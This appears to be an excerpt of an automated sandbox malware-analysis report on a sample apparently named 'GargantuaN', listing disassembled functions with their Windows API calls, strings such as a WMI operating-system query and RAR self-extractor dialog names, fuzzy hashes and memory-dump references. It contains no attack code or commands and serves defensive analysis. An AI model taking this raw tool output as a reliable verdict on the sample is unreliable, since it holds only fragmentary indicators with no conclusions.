SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00D6B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00D6B694

Strings

LICENSEDLG, xrefs: 00D6B5D4

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: d8ef08957d324acc6e9a1e3436c6194b276d0a34c0e1a4776e5e9ca9badb7c33
Instruction ID: c830f43047539546f791db01f4b2842a31cab4a3c3f5caaf251bf88dfa66c3e4
Opcode Fuzzy Hash: d8ef08957d324acc6e9a1e3436c6194b276d0a34c0e1a4776e5e9ca9badb7c33
Instruction Fuzzy Hash: DD21E532640305FBD2116FB6ED89F3B3B6DEB47BA1F050115F644DA2A0DB62D941E631

Uniqueness

Uniqueness Score: -1.00%

Function 00D6FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,B818264F,00000001,00000000,00000000,?,?,00D5AF6C,ROOT\CIMV2), ref: 00D6FD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00D5AF6C,ROOT\CIMV2), ref: 00D6FE14
SysAllocString.OLEAUT32(00000000), ref: 00D6FE1F
_com_issue_error.COMSUPP ref: 00D6FE48
_com_issue_error.COMSUPP ref: 00D6FE52
GetLastError.KERNEL32(80070057,B818264F,00000001,00000000,00000000,?,?,00D5AF6C,ROOT\CIMV2), ref: 00D6FE57
_com_issue_error.COMSUPP ref: 00D6FE6A
GetLastError.KERNEL32(00000000,?,?,00D5AF6C,ROOT\CIMV2), ref: 00D6FE80
_com_issue_error.COMSUPP ref: 00D6FE93

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: e2c0f02a5f0d42c478856a0f5e68cdfc04ef2fc0f0939ecbc028976e48792f5b
Instruction ID: 5e2b6a2d3cb046fa5807b1a8012ff3f185778a56da34601c7429aa85a691ce5f
Opcode Fuzzy Hash: e2c0f02a5f0d42c478856a0f5e68cdfc04ef2fc0f0939ecbc028976e48792f5b
Instruction Fuzzy Hash: E241D871A00719AFDB109F68EC45BAEBBA8EF44B10F244239F919E7352D73599008BB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D5AF29

Strings

Name, xrefs: 00D5B0B0
SELECT * FROM Win32_OperatingSystem, xrefs: 00D5AFCA
WQL, xrefs: 00D5AFDC
Windows 10, xrefs: 00D5B0C2
ROOT\CIMV2, xrefs: 00D5AF5C

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 564687130e6a5839afb76ac7866743608101bb20d46e1e1429c2ef6355fa30cd
Instruction ID: da4aed02a5e3f82df31e5d107ae619050f7bad479f46d7dba4e96e7209abde97
Opcode Fuzzy Hash: 564687130e6a5839afb76ac7866743608101bb20d46e1e1429c2ef6355fa30cd
Instruction Fuzzy Hash: 1B714C71A00619AFDF14DFA8CC95AAEB7B9FF49711B140259F916E72A0CB30AD05CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D59382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D59387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00D593AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00D593C9

Part of subcall function 00D5C29A: _wcslen.LIBCMT ref: 00D5C2A2

Part of subcall function 00D61FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00D5C116,00000000,.exe,?,?,00000800,?,?,?,00D68E3C), ref: 00D61FD1

_swprintf.LIBCMT ref: 00D59465

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

MoveFileW.KERNEL32(?,?), ref: 00D594D4
MoveFileW.KERNEL32(?,?), ref: 00D59514

Strings

rtmp%d, xrefs: 00D5944E

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 8ea35fff988fc0725baa76fce5f31f0b2f17a9a8e72737af43c460d057190cc4
Instruction ID: 77da4e814b3f7c27473c1114fe25b5da6db58980c63feb111b99b5d3ccbcbecd
Opcode Fuzzy Hash: 8ea35fff988fc0725baa76fce5f31f0b2f17a9a8e72737af43c460d057190cc4
Instruction Fuzzy Hash: 4A415371900258AADF21ABA0CC55EDEB37CEF45741F0448A5BE49E3151EB388B9D8B74

Uniqueness

Uniqueness Score: -1.00%

Function 00D61218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D6122E

Part of subcall function 00D5B146: GetVersionExW.KERNEL32(?), ref: 00D5B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00D61251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00D61263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D61274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D61284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D61294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00D612CF
__aullrem.LIBCMT ref: 00D61379

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 2837b9c322bdf9a6fe6ff6114032baf3115a23ae6a9712d301f4185fd6e6a44e
Instruction ID: 53abd6ecd62a0d7dbe9ba7d91c37afe767df932463d1f0b69a771da4b2e647af
Opcode Fuzzy Hash: 2837b9c322bdf9a6fe6ff6114032baf3115a23ae6a9712d301f4185fd6e6a44e
Instruction Fuzzy Hash: DB4108B5508305AFC710DF65C88496BBBF9FF88714F14892EF59AC2210E734E649CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D52210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D52536

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

Part of subcall function 00D605DA: _wcslen.LIBCMT ref: 00D605E0

Strings

xc%u, xrefs: 00D5275A
;%u, xrefs: 00D52523
x%u, xrefs: 00D526FD

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 1f9c74c0cc6a6a238673dada681dc6e0359e87e6898ce0be792edbedb5c74118
Instruction ID: c666ccd9f2270a447a89f70840100484a2357e6446696b1b4dc2ef16dca1afb2
Opcode Fuzzy Hash: 1f9c74c0cc6a6a238673dada681dc6e0359e87e6898ce0be792edbedb5c74118
Instruction Fuzzy Hash: 88F146706043409BDF25EB2884D5BBE7B959F96301F0C056DECCA9B283CB64994DC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D69CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D69D0A

Strings

<br>, xrefs: 00D69DFE
<style>, xrefs: 00D69E30
</style>, xrefs: 00D69E52
</p>, xrefs: 00D69DE8
>, xrefs: 00D69D4B

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: a88ec1498cfbff223767e859bbcc9c459417eaaf4338d276ccc7f75973916e4f
Instruction ID: a324d48ae7a1a15d979e35c3230aa65f81e09f3dd03f065307345d6c7faef486
Opcode Fuzzy Hash: a88ec1498cfbff223767e859bbcc9c459417eaaf4338d276ccc7f75973916e4f
Instruction Fuzzy Hash: 6E51E66664132397DB309A259832776F3E8DFA1750F6C042AF9C18B1C1FB768C818771

Uniqueness

Uniqueness Score: -1.00%

Function 00D7F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00D7FE02,00000000,00000000,00000000,00000000,00000000,?), ref: 00D7F6CF
__fassign.LIBCMT ref: 00D7F74A
__fassign.LIBCMT ref: 00D7F765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00D7F78B
WriteFile.KERNEL32(?,00000000,00000000,00D7FE02,00000000,?,?,?,?,?,?,?,?,?,00D7FE02,00000000), ref: 00D7F7AA
WriteFile.KERNEL32(?,00000000,00000001,00D7FE02,00000000,?,?,?,?,?,?,?,?,?,00D7FE02,00000000), ref: 00D7F7E3

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b2fc81b7b7d302cfc59796c5f5e9aecfd4ac279f1786c90db4a58c937181fd3b
Instruction ID: bda4619a2c39d49afd26700e2239269493730673b62ff6b25c8522b647bd6fe8
Opcode Fuzzy Hash: b2fc81b7b7d302cfc59796c5f5e9aecfd4ac279f1786c90db4a58c937181fd3b
Instruction Fuzzy Hash: A45187B2D002499FCB24CFA8DC45AEEBBF4EF09710F14816AE559E7251E770A941CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D72900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D72937
___except_validate_context_record.LIBVCRUNTIME ref: 00D7293F
_ValidateLocalCookies.LIBCMT ref: 00D729C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00D729F3
_ValidateLocalCookies.LIBCMT ref: 00D72A48

Strings

csm, xrefs: 00D729DD

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 26b94bb236a5377da7c703f4f164cfb5814c8ccd2f79a2ad03c259d666cda7d1
Instruction ID: 1251c5737ec28227cf1d1b4339b8be641150df999532c9587fbf86aa2647f58c
Opcode Fuzzy Hash: 26b94bb236a5377da7c703f4f164cfb5814c8ccd2f79a2ad03c259d666cda7d1
Instruction Fuzzy Hash: 3E41B630A00248AFCF10DF68C881AAE7BB5EF44324F18C156E959AB352E731DA45CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D69ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00D69EEE
GetWindowRect.USER32(?,00000000), ref: 00D69F44
ShowWindow.USER32(?,00000005,00000000), ref: 00D69FDB
SetWindowTextW.USER32(?,00000000), ref: 00D69FE3
ShowWindow.USER32(00000000,00000005), ref: 00D69FF9

Strings

RarHtmlClassName, xrefs: 00D69FA5

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: ff24540e4080d3a3f88706c9cb451784f7ce8e52f0017576da8b7dc3a4bc7478
Instruction ID: d0616876f24a0ebad2eaaf7d7b27e4dbda69bc189d05656d24231b76ecc38ef8
Opcode Fuzzy Hash: ff24540e4080d3a3f88706c9cb451784f7ce8e52f0017576da8b7dc3a4bc7478
Instruction Fuzzy Hash: B341AF31104310EFCB219F68DC49B6BBBACEF48741F058659F849AA15ADB34D914DF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D69955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D6995E
_wcslen.LIBCMT ref: 00D69993

Strings

 , xrefs: 00D69A21
<br>, xrefs: 00D699DF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00D69987
, xrefs: 00D699B0

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 9782399f7d7ff3e6b3c9976ab58fc6ec486547418d7582299a4bb69d0228fd9f
Instruction ID: 6ebd1dc9ab77c59d0500fc3385cf04781026a29609c974fe20cfbebe68bd0887
Opcode Fuzzy Hash: 9782399f7d7ff3e6b3c9976ab58fc6ec486547418d7582299a4bb69d0228fd9f
Instruction Fuzzy Hash: E131593664434567DA30AB949C62B7AF3E8EB90720F64851FF88697280FA70AD4483B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D7C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D7C868: _free.LIBCMT ref: 00D7C891

_free.LIBCMT ref: 00D7C8F2

Part of subcall function 00D78DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?), ref: 00D78DE2
Part of subcall function 00D78DCC: GetLastError.KERNEL32(?,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?,?), ref: 00D78DF4

_free.LIBCMT ref: 00D7C8FD
_free.LIBCMT ref: 00D7C908
_free.LIBCMT ref: 00D7C95C
_free.LIBCMT ref: 00D7C967
_free.LIBCMT ref: 00D7C972
_free.LIBCMT ref: 00D7C97D

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 39d238f12eccbdc62630d6e1053de2dca08f4eab226d99918b3985d8d18a6102
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: CE110D71590B04EEE530B7B1CC0BFCB7BACDF04B10F809C19B29D66093EA65A5059771

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00D6E669,00D6E5CC,00D6E86D), ref: 00D6E605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00D6E61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00D6E630

Strings

AcquireSRWLockExclusive, xrefs: 00D6E615
ReleaseSRWLockExclusive, xrefs: 00D6E625
KERNEL32.DLL, xrefs: 00D6E600

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 0c35f3e7fda556d03d8b70538e4452347a556453ba03e4c1580822c7b5dc3f6b
Instruction ID: 0ef40febec86d8ed96a799a7c384a4243bae8ddc275e035af92c8f785106a867
Opcode Fuzzy Hash: 0c35f3e7fda556d03d8b70538e4452347a556453ba03e4c1580822c7b5dc3f6b
Instruction Fuzzy Hash: 86F0C23D790322DF4F215EEAEC945B667C86A257413280D79D905D3300EB10CC585BF1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00D614C2

Part of subcall function 00D5B146: GetVersionExW.KERNEL32(?), ref: 00D5B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00D614E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D61500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00D61513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D61523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D61533

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 9fa0dc7703023152e08503834aa5226185e47796756ce84a19b37e910d36a71e
Instruction ID: 01d3d0aacb180d4965f03b30e158c4731ad384f5841dc4997db74ec34d0697d7
Opcode Fuzzy Hash: 9fa0dc7703023152e08503834aa5226185e47796756ce84a19b37e910d36a71e
Instruction Fuzzy Hash: 7631D779118345ABC704DFA8C89499BB7F8FF98B14F044A1EF999C3210E730D549CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D72AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D72AF1,00D702FC,00D6FA34), ref: 00D72B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D72B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D72B2F
SetLastError.KERNEL32(00000000,00D72AF1,00D702FC,00D6FA34), ref: 00D72B81

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

